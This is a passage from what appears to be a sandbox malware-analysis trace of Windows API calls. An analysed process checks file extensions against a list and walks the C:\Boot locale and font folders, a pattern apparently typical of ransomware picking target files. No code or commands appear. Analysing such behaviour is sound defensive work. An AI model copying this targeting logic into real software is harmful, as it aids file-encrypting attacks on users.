returned -1 [0039.552] lstrlenW (lpString=".php5") returned 5 [0039.553] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0039.553] lstrlenW (lpString=".phtml") returned 6 [0039.553] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1 [0039.553] lstrlenW (lpString=".pict") returned 5 [0039.553] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0039.553] lstrlenW (lpString=".pl") returned 3 [0039.553] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0039.553] lstrlenW (lpString=".pls") returned 4 [0039.553] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0039.553] lstrlenW (lpString=".pm") returned 3 [0039.553] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0039.553] lstrlenW (lpString=".png") returned 4 [0039.553] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0039.553] lstrlenW (lpString=".pnm") returned 4 [0039.553] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0039.553] lstrlenW (lpString=".pot") returned 4 [0039.553] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0039.553] lstrlenW (lpString=".potm") returned 5 [0039.553] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0039.553] lstrlenW (lpString=".potx") returned 5 [0039.553] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0039.553] lstrlenW (lpString=".ppa") returned 4 [0039.553] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0039.553] lstrlenW (lpString=".ppam") returned 5 [0039.553] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0039.553] lstrlenW (lpString=".ppm") returned 4 [0039.554] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0039.554] lstrlenW (lpString=".pps") returned 4 [0039.554] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0039.554] lstrlenW (lpString=".ppsm") returned 5 [0039.554] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0039.554] lstrlenW (lpString=".ppt") returned 4 [0039.554] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0039.554] lstrlenW (lpString=".pptm") returned 5 [0039.554] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0039.554] lstrlenW (lpString=".pptx") returned 5 [0039.554] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0039.554] lstrlenW (lpString=".prn") returned 4 [0039.554] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0039.554] lstrlenW (lpString=".ps") returned 3 [0039.554] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0039.554] lstrlenW (lpString=".psb") returned 4 [0039.554] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0039.554] lstrlenW (lpString=".psd") returned 4 [0039.554] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0039.554] lstrlenW (lpString=".pst") returned 4 [0039.554] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0039.554] lstrlenW (lpString=".ptx") returned 4 [0039.554] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0039.554] lstrlenW (lpString=".pub") returned 4 [0039.554] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0039.554] lstrlenW (lpString=".pwm") returned 4 [0039.554] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0039.555] lstrlenW (lpString=".pxr") returned 4 [0039.555] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0039.555] lstrlenW (lpString=".py") returned 3 [0039.555] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0039.555] lstrlenW (lpString=".qt") returned 3 [0039.555] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0039.555] lstrlenW (lpString=".r3d") returned 4 [0039.555] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0039.555] FindClose (in: hFindFile=0x692d80 | out: hFindFile=0x692d80) returned 1 [0039.555] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36b0738 | out: hHeap=0x5a0000) returned 1 [0039.555] FindNextFileW (in: hFindFile=0x691d38, lpFindFileData=0x394fa84 | out: lpFindFileData=0x394fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0039.555] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x36b0738 [0039.555] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x692d80 [0039.556] FindNextFileW (in: hFindFile=0x692d80, lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.556] FindNextFileW (in: hFindFile=0x692d80, lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0039.556] FindClose (in: hFindFile=0x692d80 | out: hFindFile=0x692d80) returned 1 [0039.556] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36b0738 | out: hHeap=0x5a0000) returned 1 [0039.556] FindNextFileW (in: hFindFile=0x691d38, lpFindFileData=0x394fa84 | out: lpFindFileData=0x394fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0039.556] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x36b0738 [0039.556] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x692d80 [0039.556] FindNextFileW (in: hFindFile=0x692d80, lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.556] FindNextFileW (in: hFindFile=0x692d80, lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0039.557] FindClose (in: hFindFile=0x692d80 | out: hFindFile=0x692d80) returned 1 [0039.557] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36b0738 | out: hHeap=0x5a0000) returned 1 [0039.557] FindNextFileW (in: hFindFile=0x691d38, lpFindFileData=0x394fa84 | out: lpFindFileData=0x394fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0039.557] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x36b0738 [0039.557] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x692d80 [0039.558] FindNextFileW (in: hFindFile=0x692d80, lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.558] FindNextFileW (in: hFindFile=0x692d80, lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0039.558] FindClose (in: hFindFile=0x692d80 | out: hFindFile=0x692d80) returned 1 [0039.558] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36b0738 | out: hHeap=0x5a0000) returned 1 [0039.558] FindNextFileW (in: hFindFile=0x691d38, lpFindFileData=0x394fa84 | out: lpFindFileData=0x394fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0039.558] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x36b0738 [0039.558] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x692d80 [0039.558] FindNextFileW (in: hFindFile=0x692d80, lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.558] FindNextFileW (in: hFindFile=0x692d80, lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0039.559] FindClose (in: hFindFile=0x692d80 | out: hFindFile=0x692d80) returned 1 [0039.559] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36b0738 | out: hHeap=0x5a0000) returned 1 [0039.559] FindNextFileW (in: hFindFile=0x691d38, lpFindFileData=0x394fa84 | out: lpFindFileData=0x394fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0039.559] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x36b0738 [0039.559] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x692d80 [0039.559] FindNextFileW (in: hFindFile=0x692d80, lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.559] FindNextFileW (in: hFindFile=0x692d80, lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0039.559] FindClose (in: hFindFile=0x692d80 | out: hFindFile=0x692d80) returned 1 [0039.560] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36b0738 | out: hHeap=0x5a0000) returned 1 [0039.560] FindNextFileW (in: hFindFile=0x691d38, lpFindFileData=0x394fa84 | out: lpFindFileData=0x394fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0039.560] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x36b0738 [0039.560] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x692d80 [0039.560] FindNextFileW (in: hFindFile=0x692d80, lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.560] FindNextFileW (in: hFindFile=0x692d80, lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0039.560] FindClose (in: hFindFile=0x692d80 | out: hFindFile=0x692d80) returned 1 [0039.561] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36b0738 | out: hHeap=0x5a0000) returned 1 [0039.561] FindNextFileW (in: hFindFile=0x691d38, lpFindFileData=0x394fa84 | out: lpFindFileData=0x394fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0039.561] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x36b0738 [0039.561] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x692d80 [0039.561] FindNextFileW (in: hFindFile=0x692d80, lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.561] FindNextFileW (in: hFindFile=0x692d80, lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0039.561] FindClose (in: hFindFile=0x692d80 | out: hFindFile=0x692d80) returned 1 [0039.561] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36b0738 | out: hHeap=0x5a0000) returned 1 [0039.561] FindNextFileW (in: hFindFile=0x691d38, lpFindFileData=0x394fa84 | out: lpFindFileData=0x394fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0039.561] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x36b0738 [0039.562] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x692d80 [0039.562] FindNextFileW (in: hFindFile=0x692d80, lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.562] FindNextFileW (in: hFindFile=0x692d80, lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0039.562] FindClose (in: hFindFile=0x692d80 | out: hFindFile=0x692d80) returned 1 [0039.562] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36b0738 | out: hHeap=0x5a0000) returned 1 [0039.562] FindNextFileW (in: hFindFile=0x691d38, lpFindFileData=0x394fa84 | out: lpFindFileData=0x394fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0039.562] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x36b0738 [0039.562] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x692d80 [0039.562] FindNextFileW (in: hFindFile=0x692d80, lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.562] FindNextFileW (in: hFindFile=0x692d80, lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0039.563] FindClose (in: hFindFile=0x692d80 | out: hFindFile=0x692d80) returned 1 [0039.563] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36b0738 | out: hHeap=0x5a0000) returned 1 [0039.563] FindNextFileW (in: hFindFile=0x691d38, lpFindFileData=0x394fa84 | out: lpFindFileData=0x394fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, 